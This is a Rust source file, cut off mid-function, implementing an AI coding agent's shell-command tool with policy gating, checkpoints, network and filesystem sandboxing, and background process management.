1use std::path::{Path, PathBuf};
24use std::process::Stdio;
25use std::time::{Duration, Instant};
26
27use async_trait::async_trait;
28use tokio::io::{AsyncRead, AsyncReadExt, AsyncWriteExt};
29use tokio::process::Command;
30
31use crate::app::{FilesystemPolicy, NetworkPolicy};
32use crate::constants::{COMMAND_MAX_TIMEOUT_SECS, COMMAND_TIMEOUT_SECS};
33use crate::domain::{
34 ManagedProcess, ManagedProcessStatus, ToolDefinition, ToolMetadata, ToolOutcome,
35 ToolRunMetadata,
36};
37
38use super::super::ctx::{ExecContext, ProgressEvent};
39use super::ToolExecutor;
40
41pub struct ExecuteCommandTool;
51
52#[derive(Debug, Clone, Copy, PartialEq, Eq)]
53enum CommandMode {
54 Wait,
55 Background,
56}
57
58impl CommandMode {
59 fn parse(args: &serde_json::Value) -> Result<Self, String> {
60 match args.get("mode").and_then(|v| v.as_str()).unwrap_or("wait") {
61 "wait" | "foreground" => Ok(Self::Wait),
62 "background" => Ok(Self::Background),
63 other => Err(format!(
64 "execute_command: mode must be 'wait' or 'background', got '{}'",
65 other
66 )),
67 }
68 }
69}
70
71#[async_trait]
72impl ToolExecutor for ExecuteCommandTool {
73 fn name(&self) -> &'static str {
74 "execute_command"
75 }
76
77 fn schema(&self) -> ToolDefinition {
78 ToolDefinition {
79 name: "execute_command".to_string(),
80 description:
81 "Run a shell command — PowerShell on Windows, sh on Linux/macOS; write the command in that shell's syntax. Use mode='wait' for finite commands, or mode='background' for dev servers and GUI/daemon-style commands that should keep running after the tool returns. Ctrl+C during foreground execution aborts the child immediately. The session scratchpad directory (for throwaway files) is exported to the child as MERMAID_SCRATCHPAD."
82 .to_string(),
83 input_schema: serde_json::json!({
84 "type": "object",
85 "properties": {
86 "command": { "type": "string", "description": "Shell command to run." },
87 "working_dir": { "type": "string", "description": "Override working directory (absolute)." },
88 "mode": {
89 "type": "string",
90 "enum": ["wait", "background"],
91 "default": "wait",
92 "description": "Use 'background' for long-running servers, daemons, and GUI launchers."
93 },
94 "timeout": {
95 "type": "integer",
96 "description": "Per-call foreground timeout in seconds. Default 30, max 300. Foreground timeout kills the child."
97 },
98 "startup_timeout_secs": {
99 "type": "integer",
100 "description": "Background mode: seconds to watch startup logs for readiness. Default 5, max 30."
101 },
102 "ready_pattern": {
103 "type": "string",
104 "description": "Background mode: text that marks the server/app ready when it appears in the startup log."
105 },
106 "open_url": {
107 "type": "string",
108 "description": "Background mode: URL to open with the default browser after startup."
109 }
110 },
111 "required": ["command"]
112 }),
113 }
114 }
115
116 async fn execute(&self, args: serde_json::Value, ctx: ExecContext) -> ToolOutcome {
117 let Some(command) = args.get("command").and_then(|v| v.as_str()) else {
118 return ToolOutcome::error("execute_command requires 'command' (string)", 0.0);
119 };
120
121 if contains_dangerous_command(command) {
122 return ToolOutcome::error(format!("Dangerous command blocked: {}", command), 0.0);
123 }
124
125 let (effective_workdir, within_project) = match args
132 .get("working_dir")
133 .and_then(|v| v.as_str())
134 {
135 Some(raw) => match super::path_safety::resolve_path_within(&ctx.workdir, raw) {
136 Ok(resolved) => resolved,
137 Err(e) => {
138 return ToolOutcome::error(format!("execute_command working_dir: {e}"), 0.0);
139 },
140 },
141 None => (ctx.workdir.clone(), true),
142 };
143 let containment = classify_cwd(
144 within_project,
145 &effective_workdir,
146 ctx.scratchpad.as_deref(),
147 );
148
149 let category = match containment {
150 CwdContainment::Project | CwdContainment::Scratchpad => {
151 crate::runtime::ToolCategory::Shell
152 },
153 CwdContainment::External => crate::runtime::ToolCategory::ExternalDirectory,
154 };
155 let scratch_contained = containment == CwdContainment::Scratchpad
158 && ctx
159 .scratchpad
160 .as_deref()
161 .is_some_and(|scratch| command_provably_in_scratch(command, scratch));
162 let mut policy_request =
163 crate::runtime::ActionRequest::new("execute_command", category, command.to_string());
164 policy_request.command = Some(command.to_string());
165 policy_request.cwd = Some(effective_workdir.clone());
169 if containment == CwdContainment::External {
170 policy_request.path = Some(effective_workdir.display().to_string());
171 }
172 let pending_action = serde_json::json!({
173 "tool": "execute_command",
174 "args": args.clone(),
175 "workdir": effective_workdir.display().to_string(),
176 "turn_id": ctx.turn.0,
177 "call_id": ctx.call_id.0,
178 "task_id": ctx.task_id.clone(),
179 });
180 let plan_write = match super::policy_gate::gate(
185 &ctx,
186 policy_request,
187 &[],
188 pending_action.clone(),
189 true,
190 scratch_contained,
191 )
192 .await
193 {
194 super::policy_gate::Gate::Block(outcome) => return outcome,
195 super::policy_gate::Gate::Proceed { risk, plan_write } => {
196 if !scratch_contained
199 && ctx.config.safety.checkpoint_on_mutation
200 && risk != crate::runtime::RiskClass::ReadOnly
201 {
202 let _ = crate::runtime::create_checkpoint_for_task(
203 &ctx.workdir,
204 &[],
205 Some(pending_action.clone()),
206 ctx.checkpoint_origin(),
207 );
208 }
209 plan_write
210 },
211 };
212
213 let mode = match CommandMode::parse(&args) {
214 Ok(mode) => mode,
215 Err(error) => return ToolOutcome::error(error, 0.0),
216 };
217 let shell_payload = serde_json::json!({
218 "task_id": ctx.task_id.clone(),
219 "turn_id": ctx.turn.0,
220 "call_id": ctx.call_id.0,
221 "command": command,
222 "working_dir": effective_workdir.display().to_string(),
223 });
224 let _ = crate::runtime::run_plugin_hooks("before_shell", &shell_payload);
225 if mode == CommandMode::Background {
226 let startup_timeout_secs = args
227 .get("startup_timeout_secs")
228 .or_else(|| args.get("startup_timeout"))
229 .and_then(|v| v.as_u64())
230 .unwrap_or(5)
231 .clamp(1, 30);
232 let ready_pattern = args
233 .get("ready_pattern")
234 .and_then(|v| v.as_str())
235 .map(str::to_string);
236 let open_url = args
237 .get("open_url")
238 .and_then(|v| v.as_str())
239 .filter(|v| !v.trim().is_empty())
240 .map(str::to_string);
241 let outcome = run_background_command(
242 command,
243 &effective_workdir,
244 startup_timeout_secs,
245 ready_pattern.as_deref(),
246 open_url.as_deref(),
247 ctx,
248 )
249 .await;
250 let _ = crate::runtime::run_plugin_hooks(
251 "after_shell",
252 &serde_json::json!({
253 "command": command,
254 "status": format!("{:?}", outcome.status),
255 "summary": &outcome.summary,
256 }),
257 );
258 return outcome;
259 }
260
261 let timeout_secs = args
262 .get("timeout")
263 .and_then(|v| v.as_u64())
264 .unwrap_or(COMMAND_TIMEOUT_SECS)
265 .min(COMMAND_MAX_TIMEOUT_SECS);
266
267 let command = command.to_string();
268 let start = Instant::now();
269 let progress = ctx.progress.clone();
270
271 let sandbox_expected = cfg!(any(target_os = "linux", target_os = "macos"));
289 let net_requested = matches!(ctx.config.safety.network, NetworkPolicy::Deny);
290 let fs_requested = matches!(ctx.config.safety.filesystem, FilesystemPolicy::Project);
291 let (net_available, fs_available) = sandbox_probes();
292 let sandbox_network = net_requested && (sandbox_expected || net_available);
293 let sandbox_fs = fs_requested && (sandbox_expected || fs_available);
294 if (net_requested && !net_available) || (fs_requested && !fs_available) {
295 static DEGRADED_WARN: std::sync::Once = std::sync::Once::new();
296 DEGRADED_WARN.call_once(|| {
297 if sandbox_expected {
298 tracing::warn!(
299 "sandbox policy requested but the OS sandbox backend probe failed; \
300 sandboxed commands will refuse to run (fail-closed)"
301 );
302 } else {
303 tracing::warn!(
304 "sandbox policy requested but no OS sandbox backend exists on this \
305 platform; commands run unconfined"
306 );
307 }
308 });
309 }
310 let confine_writes: Option<Vec<PathBuf>> = sandbox_fs.then(|| {
315 let mut dirs = vec![
316 ctx.workdir.clone(),
317 effective_workdir.clone(),
318 std::env::temp_dir(),
319 ];
320 if cfg!(unix) {
321 dirs.push(PathBuf::from("/dev"));
322 }
323 dirs.dedup();
324 dirs
325 });
326 if ctx.config.exec.pty_enabled() {
333 let invocation = shell_invocation(&command, sandbox_network, confine_writes.as_deref());
334 match run_command_pty(
335 &invocation,
336 &effective_workdir,
337 ctx.scratchpad.as_deref(),
338 progress.clone(),
339 ctx.token.clone(),
340 ctx.background.clone(),
341 Duration::from_secs(timeout_secs),
342 )
343 .await
344 {
345 Ok(run) => {
346 let outcome = finish_foreground_command(
347 Ok(run),
348 &command,
349 &effective_workdir,
350 start,
351 timeout_secs,
352 sandbox_network,
353 sandbox_fs,
354 );
355 let _ = crate::runtime::run_plugin_hooks(
356 "after_shell",
357 &serde_json::json!({
358 "command": command,
359 "status": format!("{:?}", outcome.status),
360 "summary": &outcome.summary,
361 }),
362 );
363 return outcome;
364 },
365 Err(err) => {
368 tracing::warn!(error = %err, "PTY exec unavailable; falling back to pipes");
369 },
370 }
371 }
372
373 let mut cmd = build_sandboxed_shell(&command, sandbox_network, confine_writes.as_deref());
374 cmd.stdin(Stdio::null())
375 .stdout(Stdio::piped())
376 .stderr(Stdio::piped())
377 .kill_on_drop(false);
387
388 #[cfg(unix)]
401 unsafe {
402 cmd.pre_exec(|| {
403 rustix::process::setsid()?;
404 Ok(())
405 });
406 }
407
408 cmd.current_dir(&effective_workdir);
409 scrub_secret_env(&mut cmd);
410 harden_noninteractive_env(&mut cmd);
411 export_scratchpad_env(&mut cmd, ctx.scratchpad.as_deref());
412
413 let mut outcome = finish_foreground_command(
418 run_command(
419 cmd,
420 progress,
421 ctx.token.clone(),
422 ctx.background.clone(),
423 Duration::from_secs(timeout_secs),
424 )
425 .await,
426 &command,
427 &effective_workdir,
428 start,
429 timeout_secs,
430 sandbox_network,
431 sandbox_fs,
432 );
433 outcome.metadata.plan_file_written =
437 plan_write && outcome.status == crate::domain::ToolStatus::Success;
438 let _ = crate::runtime::run_plugin_hooks(
439 "after_shell",
440 &serde_json::json!({
441 "command": command,
442 "status": format!("{:?}", outcome.status),
443 "summary": &outcome.summary,
444 }),
445 );
446 outcome
447 }
448}
449
450#[allow(clippy::too_many_lines)]
455fn finish_foreground_command(
456 result: std::io::Result<CommandRunResult>,
457 command: &str,
458 effective_workdir: &Path,
459 start: Instant,
460 timeout_secs: u64,
461 sandbox_network: bool,
462 sandbox_fs: bool,
463) -> ToolOutcome {
464 let command = command.to_string();
465 match result {
466 Ok(CommandRunResult::Completed(run)) => {
467 let duration_secs = start.elapsed().as_secs_f64();
468 let output_len = run.output.len();
469 let mut metadata = command_metadata(CommandMetadataInput {
470 command: command.clone(),
471 working_dir: Some(effective_workdir.display().to_string()),
472 exit_code: run.exit_code,
473 timed_out: false,
474 background: false,
475 stdout_lines: run.stdout_lines,
476 stderr_lines: run.stderr_lines,
477 detected_urls: all_urls(&run.output),
478 pid: None,
479 log_path: None,
480 byte_count: Some(output_len),
481 });
482 if let Some(kind) = detect_denial(&run, sandbox_network, sandbox_fs) {
483 if let ToolMetadata::ExecuteCommand {
487 denied_by_sandbox, ..
488 } = &mut metadata.detail
489 {
490 *denied_by_sandbox = true;
491 }
492 let message = match kind {
493 DenialKind::Network if cfg!(target_os = "linux") => {
497 NETWORK_DENIED_MESSAGE.to_string()
498 },
499 DenialKind::Network => format!(
500 "{HEDGED_NETWORK_DENIED_MESSAGE}\n\n--- original output ---\n{}",
501 run.output
502 ),
503 DenialKind::Filesystem => format!(
504 "{FS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
505 run.output
506 ),
507 DenialKind::Ambiguous => format!(
508 "{AMBIGUOUS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
509 run.output
510 ),
511 };
512 ToolOutcome::error(message, duration_secs).with_metadata(metadata)
513 } else {
514 ToolOutcome::success(run.output.clone(), "command completed", duration_secs)
515 .with_metadata(metadata)
516 }
517 },
518 Ok(CommandRunResult::Detached { pid, log_path }) => {
519 let duration_secs = start.elapsed().as_secs_f64();
521 let log_path_str = log_path.display().to_string();
522 let output = format!(
523 "Moved to background.\nPID: {pid}\nLog: {log_path_str}\nManage it with /processes, /logs {pid}, /stop {pid}."
524 );
525 let process = ManagedProcess {
526 id: format!("bg-{pid}"),
527 pid,
528 command: command.to_string(),
529 cwd: Some(effective_workdir.display().to_string()),
530 log_path: log_path_str.clone(),
531 detected_url: None,
532 status: ManagedProcessStatus::Running,
533 };
534 let mut metadata = command_metadata(CommandMetadataInput {
535 command: command.to_string(),
536 working_dir: Some(effective_workdir.display().to_string()),
537 exit_code: None,
538 timed_out: false,
539 background: true,
540 stdout_lines: 0,
541 stderr_lines: 0,
542 detected_urls: Vec::new(),
543 pid: Some(pid),
544 log_path: Some(log_path_str),
545 byte_count: Some(output.len()),
546 });
547 metadata.process = Some(process);
548 ToolOutcome::success(output, "moved to background", duration_secs)
549 .with_metadata(metadata)
550 },
551 Ok(CommandRunResult::Cancelled) => ToolOutcome::cancelled(),
552 Ok(CommandRunResult::TimedOut) => {
553 let message = format!(
554 "Command timed out after {} seconds and was killed. \
555 For dev servers, GUI apps, or other long-running commands, call execute_command with mode=\"background\".",
556 timeout_secs
557 );
558 let duration_secs = start.elapsed().as_secs_f64();
559 ToolOutcome::error(message, duration_secs).with_metadata(command_metadata(
560 CommandMetadataInput {
561 command: command.clone(),
562 working_dir: Some(effective_workdir.display().to_string()),
563 exit_code: None,
564 timed_out: true,
565 background: false,
566 stdout_lines: 0,
567 stderr_lines: 0,
568 detected_urls: Vec::new(),
569 pid: None,
570 log_path: None,
571 byte_count: None,
572 },
573 ))
574 },
575 Err(e) => {
576 let duration_secs = start.elapsed().as_secs_f64();
577 ToolOutcome::error(format!("Command failed: {}", e), duration_secs).with_metadata(
578 command_metadata(CommandMetadataInput {
579 command: command.clone(),
580 working_dir: Some(effective_workdir.display().to_string()),
581 exit_code: None,
582 timed_out: false,
583 background: false,
584 stdout_lines: 0,
585 stderr_lines: 0,
586 detected_urls: Vec::new(),
587 pid: None,
588 log_path: None,
589 byte_count: None,
590 }),
591 )
592 },
593 }
594}
595
596#[derive(Debug)]
597struct BackgroundStartup {
598 ready_message: String,
599 log_excerpt: String,
600 detected_url: Option<String>,
601}
602
603async fn run_background_command(
604 command: &str,
605 workdir: &Path,
606 startup_timeout_secs: u64,
607 ready_pattern: Option<&str>,
608 open_url: Option<&str>,
609 ctx: ExecContext,
610) -> ToolOutcome {
611 let start = Instant::now();
612
613 {
614 let log_path = background_log_path();
615 let pid =
616 match launch_background_process(command, workdir, &log_path, ctx.scratchpad.as_deref())
617 .await
618 {
619 Ok(pid) => pid,
620 Err(error) => {
621 return ToolOutcome::error(error, start.elapsed().as_secs_f64());
622 },
623 };
624
625 let startup = match wait_for_background_startup(
626 pid,
627 &log_path,
628 startup_timeout_secs,
629 ready_pattern,
630 &ctx,
631 )
632 .await
633 {
634 Ok(startup) => startup,
635 Err(BackgroundWaitError::Cancelled) => {
636 crate::utils::terminate_tree(pid, crate::utils::Grace::Graceful).await;
637 return ToolOutcome::cancelled();
638 },
639 Err(BackgroundWaitError::ExitedEarly(log_excerpt)) => {
640 return ToolOutcome::error(
641 format!(
642 "Background command exited during startup. Log: {}\n\n{}",
643 log_path.display(),
644 log_excerpt
645 ),
646 start.elapsed().as_secs_f64(),
647 );
648 },
649 };
650
651 let opened = if let Some(url) = open_url {
652 Some((url.to_string(), open_browser_url(url).await))
653 } else {
654 None
655 };
656
657 let mut output = format!(
658 "Background command started.\nPID: {}\nLog: {}\n{}\n",
659 pid,
660 log_path.display(),
661 startup.ready_message
662 );
663 if let Some(url) = startup.detected_url.as_ref() {
664 output.push_str(&format!("Detected URL: {}\n", url));
665 }
666 if let Some((url, result)) = opened {
667 match result {
668 Ok(()) => output.push_str(&format!("Opened URL: {}\n", url)),
669 Err(error) => output.push_str(&format!("Open URL failed: {} ({})\n", url, error)),
670 }
671 }
672 if !startup.log_excerpt.trim().is_empty() {
673 output.push_str("\n--- startup output ---\n");
674 output.push_str(&startup.log_excerpt);
675 }
676
677 let duration_secs = start.elapsed().as_secs_f64();
678 let log_path_str = log_path.display().to_string();
679 let detected_urls = startup.detected_url.iter().cloned().collect::<Vec<_>>();
680 let process = ManagedProcess {
681 id: format!("bg-{}", pid),
682 pid,
683 command: command.to_string(),
684 cwd: Some(workdir.display().to_string()),
685 log_path: log_path_str.clone(),
686 detected_url: startup.detected_url.clone(),
687 status: ManagedProcessStatus::Running,
688 };
689 let byte_count = output.len();
690 let mut metadata = command_metadata(CommandMetadataInput {
691 command: command.to_string(),
692 working_dir: Some(workdir.display().to_string()),
693 exit_code: None,
694 timed_out: false,
695 background: true,
696 stdout_lines: startup.log_excerpt.lines().count(),
697 stderr_lines: 0,
698 detected_urls,
699 pid: Some(pid),
700 log_path: Some(log_path_str),
701 byte_count: Some(byte_count),
702 });
703 metadata.process = Some(process);
704 ToolOutcome::success(output, "background process started", duration_secs)
705 .with_metadata(metadata)
706 }
707}
708
709#[cfg(not(target_os = "windows"))]
710async fn launch_background_process(
711 command: &str,
712 workdir: &Path,
713 log_path: &Path,
714 scratchpad: Option<&Path>,
715) -> Result<u32, String> {
716 create_log_file_blocking(log_path).map_err(|e| {
722 format!(
723 "failed to create background log {}: {e}",
724 log_path.display()
725 )
726 })?;
727 let mut launcher = Command::new("sh");
728 launcher
729 .arg("-c")
730 .arg(
731 r#"log=$MERMAID_BG_LOG
737cmd=$MERMAID_BG_COMMAND
738: > "$log" || exit 125
739if command -v setsid >/dev/null 2>&1; then
740 setsid sh -c "$cmd" > "$log" 2>&1 < /dev/null &
741else
742 nohup sh -c "$cmd" > "$log" 2>&1 < /dev/null &
743fi
744printf '%s\n' "$!""#,
745 )
746 .env("MERMAID_BG_LOG", log_path)
747 .env("MERMAID_BG_COMMAND", command)
748 .current_dir(workdir)
749 .stdin(Stdio::null())
750 .stdout(Stdio::piped())
751 .stderr(Stdio::piped());
752 scrub_secret_env(&mut launcher);
753 harden_noninteractive_env(&mut launcher);
754 export_scratchpad_env(&mut launcher, scratchpad);
755
756 let output = launcher
757 .output()
758 .await
759 .map_err(|e| format!("failed to launch background command: {}", e))?;
760 if !output.status.success() {
761 return Err(format!(
762 "background launcher failed: {}",
763 String::from_utf8_lossy(&output.stderr)
764 ));
765 }
766 let stdout = String::from_utf8_lossy(&output.stdout);
767 stdout.trim().parse::<u32>().map_err(|e| {
768 format!(
769 "background launcher did not return a pid: {} ({})",
770 stdout, e
771 )
772 })
773}
774
775#[cfg(target_os = "windows")]
780async fn launch_background_process(
781 command: &str,
782 workdir: &Path,
783 log_path: &Path,
784 scratchpad: Option<&Path>,
785) -> Result<u32, String> {
786 use crate::utils::{CREATE_NEW_PROCESS_GROUP, CREATE_NO_WINDOW};
787 let log = std::fs::File::create(log_path).map_err(|e| {
788 format!(
789 "failed to create background log {}: {e}",
790 log_path.display()
791 )
792 })?;
793 let log_err = log
794 .try_clone()
795 .map_err(|e| format!("failed to clone background log handle: {e}"))?;
796 let mut launcher = Command::new(powershell_program());
797 launcher
798 .args(["-NoProfile", "-NonInteractive", "-Command"])
799 .arg(command)
800 .current_dir(workdir)
801 .stdin(Stdio::null())
802 .stdout(Stdio::from(log))
803 .stderr(Stdio::from(log_err))
804 .creation_flags(CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP);
807 scrub_secret_env(&mut launcher);
808 harden_noninteractive_env(&mut launcher);
809 export_scratchpad_env(&mut launcher, scratchpad);
810 let child = launcher
811 .spawn()
812 .map_err(|e| format!("failed to launch background command: {e}"))?;
813 child
814 .id()
815 .ok_or_else(|| "background command produced no pid".to_string())
816}
817
818#[derive(Debug)]
819enum BackgroundWaitError {
820 Cancelled,
821 ExitedEarly(String),
822}
823
824async fn wait_for_background_startup(
825 pid: u32,
826 log_path: &Path,
827 startup_timeout_secs: u64,
828 ready_pattern: Option<&str>,
829 ctx: &ExecContext,
830) -> Result<BackgroundStartup, BackgroundWaitError> {
831 let start = Instant::now();
832 let startup_timeout = Duration::from_secs(startup_timeout_secs);
833
834 loop {
835 if ctx.token.is_cancelled() {
836 return Err(BackgroundWaitError::Cancelled);
837 }
838
839 let last_log = read_log_lossy(log_path).await;
840 let detected_url = first_url(&last_log);
841
842 if !process_running(pid).await {
843 return Err(BackgroundWaitError::ExitedEarly(tail_lines(&last_log, 40)));
844 }
845
846 if let Some(pattern) = ready_pattern {
847 if last_log.contains(pattern) {
848 return Ok(BackgroundStartup {
849 ready_message: format!("Ready: matched pattern {:?}", pattern),
850 log_excerpt: tail_lines(&last_log, 40),
851 detected_url,
852 });
853 }
854 } else if start.elapsed() >= Duration::from_secs(1) || !last_log.is_empty() {
855 return Ok(BackgroundStartup {
856 ready_message:
857 "Ready: no ready_pattern provided; process is running after startup check"
858 .to_string(),
859 log_excerpt: tail_lines(&last_log, 40),
860 detected_url,
861 });
862 }
863
864 if start.elapsed() >= startup_timeout {
865 let ready_message = if let Some(pattern) = ready_pattern {
866 format!(
867 "Ready: pattern {:?} was not seen within {}s; process is still running",
868 pattern, startup_timeout_secs
869 )
870 } else {
871 format!(
872 "Ready: startup check reached {}s; process is still running",
873 startup_timeout_secs
874 )
875 };
876 return Ok(BackgroundStartup {
877 ready_message,
878 log_excerpt: tail_lines(&last_log, 40),
879 detected_url,
880 });
881 }
882
883 tokio::select! {
884 _ = ctx.token.cancelled() => return Err(BackgroundWaitError::Cancelled),
885 _ = tokio::time::sleep(Duration::from_millis(200)) => {},
886 }
887 }
888}
889
890async fn read_log_lossy(path: &Path) -> String {
891 tokio::fs::read_to_string(path).await.unwrap_or_default()
892}
893
894#[cfg(not(target_os = "windows"))]
895async fn process_running(pid: u32) -> bool {
896 Command::new("kill")
897 .arg("-0")
898 .arg(pid.to_string())
899 .stdin(Stdio::null())
900 .stdout(Stdio::null())
901 .stderr(Stdio::null())
902 .status()
903 .await
904 .map(|status| status.success())
905 .unwrap_or(false)
906}
907
908#[cfg(target_os = "windows")]
911async fn process_running(pid: u32) -> bool {
912 Command::new("tasklist")
913 .args(["/FI", &format!("PID eq {pid}"), "/NH"])
914 .stdin(Stdio::null())
915 .stdout(Stdio::piped())
916 .stderr(Stdio::null())
917 .output()
918 .await
919 .map(|out| String::from_utf8_lossy(&out.stdout).contains(&pid.to_string()))
920 .unwrap_or(false)
921}
922
923fn background_log_path() -> PathBuf {
935 let nanos = std::time::SystemTime::now()
936 .duration_since(std::time::UNIX_EPOCH)
937 .map(|d| d.as_nanos())
938 .unwrap_or_default();
939 let name = format!("mermaid-bg-{}-{}.log", std::process::id(), nanos);
940 match crate::utils::private_temp_dir() {
941 Ok(dir) => dir.join(name),
942 Err(_) => std::env::temp_dir().join(name),
943 }
944}
945
946#[cfg(unix)]
953fn create_log_file_blocking(path: &Path) -> std::io::Result<std::fs::File> {
954 use std::os::unix::fs::OpenOptionsExt;
955 std::fs::OpenOptions::new()
956 .write(true)
957 .create_new(true)
958 .mode(0o600)
959 .open(path)
960}
961
962fn create_tee_log_blocking(path: &Path) -> Option<tokio::fs::File> {
967 #[cfg(unix)]
968 let std_file = create_log_file_blocking(path).ok();
969 #[cfg(not(unix))]
970 let std_file = std::fs::File::create(path).ok();
971 std_file.map(tokio::fs::File::from_std)
972}
973
974struct CommandMetadataInput {
975 command: String,
976 working_dir: Option<String>,
977 exit_code: Option<i32>,
978 timed_out: bool,
979 background: bool,
980 stdout_lines: usize,
981 stderr_lines: usize,
982 detected_urls: Vec<String>,
983 pid: Option<u32>,
984 log_path: Option<String>,
985 byte_count: Option<usize>,
986}
987
988fn command_metadata(input: CommandMetadataInput) -> ToolRunMetadata {
989 ToolRunMetadata {
990 detail: ToolMetadata::ExecuteCommand {
991 command: input.command,
992 working_dir: input.working_dir,
993 exit_code: input.exit_code,
994 timed_out: input.timed_out,
995 background: input.background,
996 stdout_lines: input.stdout_lines,
997 stderr_lines: input.stderr_lines,
998 detected_urls: input.detected_urls,
999 pid: input.pid,
1000 log_path: input.log_path,
1001 denied_by_sandbox: false,
1004 },
1005 line_count: Some(input.stdout_lines + input.stderr_lines),
1006 byte_count: input.byte_count,
1007 ..ToolRunMetadata::default()
1008 }
1009}
1010
1011fn sandbox_probes() -> (bool, bool) {
1015 static PROBES: std::sync::OnceLock<(bool, bool)> = std::sync::OnceLock::new();
1016 *PROBES.get_or_init(|| {
1017 (
1018 crate::runtime::network_killswitch_available(),
1019 crate::runtime::fs_confinement_available(),
1020 )
1021 })
1022}
1023
1024const SANDBOX_KILL_SIGNAL: i32 = 31;
1026
1027#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1032enum DenialKind {
1033 Network,
1034 Filesystem,
1035 Ambiguous,
1036}
1037
1038fn detect_denial(
1050 run: &CommandRunOutput,
1051 sandbox_network: bool,
1052 sandbox_fs: bool,
1053) -> Option<DenialKind> {
1054 if cfg!(target_os = "linux") {
1055 if sandbox_network && is_sigsys_denial(run) {
1056 return Some(DenialKind::Network);
1057 }
1058 if sandbox_fs && is_permission_denial(run) {
1059 return Some(DenialKind::Filesystem);
1060 }
1061 return None;
1062 }
1063 if !is_permission_denial(run) {
1064 return None;
1065 }
1066 match (sandbox_network, sandbox_fs) {
1067 (true, true) => Some(DenialKind::Ambiguous),
1068 (true, false) => Some(DenialKind::Network),
1069 (false, true) => Some(DenialKind::Filesystem),
1070 (false, false) => None,
1071 }
1072}
1073
1074const NETWORK_DENIED_MESSAGE: &str = "Blocked by the network sandbox: this command tried to open an internet socket, which is denied because network access is off (safety.network = \"deny\" / --no-network). Re-run without --no-network, approve the command, or use full-access mode to allow network access.";
1078
1079const HEDGED_NETWORK_DENIED_MESSAGE: &str = "Command failed with a permission error while the network sandbox was active (safety.network = \"deny\" / --no-network); a network access was likely denied. Re-run without --no-network, approve the command, or use full-access mode to allow network access.";
1082
1083const FS_DENIED_MESSAGE: &str = "Command failed with a permission error while the filesystem sandbox was active (safety.filesystem = \"project\" / --confine-fs); a write outside the project directory, the system temp directory, or /dev was likely denied. Write inside the project, or re-run without --confine-fs to allow it.";
1088
1089const AMBIGUOUS_DENIED_MESSAGE: &str = "Command failed with a permission error while the network and filesystem sandboxes were active (--no-network / --confine-fs); a network access or a write outside the allowed directories was likely denied. Write inside the project, or re-run without the sandbox flags to allow it.";
1093
1094fn is_sigsys_denial(run: &CommandRunOutput) -> bool {
1098 run.signal == Some(SANDBOX_KILL_SIGNAL) || run.exit_code == Some(128 + SANDBOX_KILL_SIGNAL)
1099}
1100
1101fn is_permission_denial(run: &CommandRunOutput) -> bool {
1106 let failed = matches!(run.exit_code, Some(code) if code != 0);
1107 failed
1108 && (run.output.contains("Permission denied")
1109 || run.output.contains("Operation not permitted"))
1110}
1111
1112struct ShellInvocation {
1121 program: PathBuf,
1122 args: Vec<std::ffi::OsString>,
1123}
1124
1125fn powershell_program() -> &'static str {
1129 static PROGRAM: std::sync::LazyLock<&'static str> = std::sync::LazyLock::new(|| {
1130 let has_pwsh = std::env::var_os("PATH").is_some_and(|path| {
1131 std::env::split_paths(&path).any(|dir| dir.join("pwsh.exe").is_file())
1132 });
1133 if has_pwsh { "pwsh" } else { "powershell" }
1134 });
1135 &PROGRAM
1136}
1137
1138fn powershell_wrap(command: &str) -> String {
1145 format!(
1146 "$ErrorActionPreference='Stop'\n{command}\nif ((Test-Path -LiteralPath variable:\\LASTEXITCODE)) {{ exit $LASTEXITCODE }}"
1147 )
1148}
1149
1150fn shell_invocation(
1151 command: &str,
1152 sandbox_network: bool,
1153 confine_writes: Option<&[PathBuf]>,
1154) -> ShellInvocation {
1155 if sandbox_network || confine_writes.is_some() {
1156 let exe = std::env::current_exe().unwrap_or_else(|_| PathBuf::from("mermaid"));
1161 let mut args: Vec<std::ffi::OsString> = vec!["__sandbox-exec".into()];
1162 if sandbox_network {
1163 args.push("--no-network".into());
1164 }
1165 for dir in confine_writes.unwrap_or_default() {
1166 args.push("--confine-writes".into());
1167 args.push(dir.into());
1168 }
1169 args.extend(["--".into(), "sh".into(), "-c".into(), command.into()]);
1170 ShellInvocation { program: exe, args }
1171 } else if cfg!(target_os = "windows") {
1172 ShellInvocation {
1173 program: PathBuf::from(powershell_program()),
1174 args: vec![
1175 "-NoProfile".into(),
1176 "-NonInteractive".into(),
1177 "-Command".into(),
1178 powershell_wrap(command).into(),
1179 ],
1180 }
1181 } else {
1182 ShellInvocation {
1183 program: PathBuf::from("sh"),
1184 args: vec!["-c".into(), command.into()],
1185 }
1186 }
1187}
1188
1189fn build_sandboxed_shell(
1190 command: &str,
1191 sandbox_network: bool,
1192 confine_writes: Option<&[PathBuf]>,
1193) -> Command {
1194 let invocation = shell_invocation(command, sandbox_network, confine_writes);
1195 let mut cmd = Command::new(&invocation.program);
1196 cmd.args(&invocation.args);
1197 cmd
1198}
1199
1200#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1203enum CwdContainment {
1204 Project,
1205 Scratchpad,
1206 External,
1207}
1208
1209fn classify_cwd(
1213 within_project: bool,
1214 effective_workdir: &Path,
1215 scratchpad: Option<&Path>,
1216) -> CwdContainment {
1217 if within_project {
1218 return CwdContainment::Project;
1219 }
1220 match scratchpad.and_then(|s| std::fs::canonicalize(s).ok()) {
1221 Some(scratch) if effective_workdir.starts_with(&scratch) => CwdContainment::Scratchpad,
1222 _ => CwdContainment::External,
1223 }
1224}
1225
1226fn command_provably_in_scratch(command: &str, scratch: &Path) -> bool {
1234 const OPAQUE: &[char] = &[
1240 ';', '|', '&', '<', '>', '$', '`', '~', '*', '?', '[', ']', '(', ')', '{', '}', '!', '\n',
1241 '\r',
1242 ];
1243 if command.contains(OPAQUE) {
1244 return false;
1245 }
1246 let Ok(tokens) = shell_words::split(command) else {
1247 return false;
1248 };
1249 if tokens.is_empty() {
1250 return false;
1251 }
1252 tokens.iter().all(|t| token_provably_in_scratch(t, scratch))
1253}
1254
1255fn token_provably_in_scratch(token: &str, scratch: &Path) -> bool {
1269 if token.contains("..") || token.contains(":/") {
1270 return false;
1271 }
1272 let bytes = token.as_bytes();
1273 if bytes.len() >= 2 && bytes[1] == b':' && bytes[0].is_ascii_alphabetic() {
1274 return false;
1275 }
1276 if !token.contains(['/', '\\']) {
1277 return true;
1278 }
1279 if Path::new(token).has_root() {
1280 return Path::new(token).starts_with(scratch);
1281 }
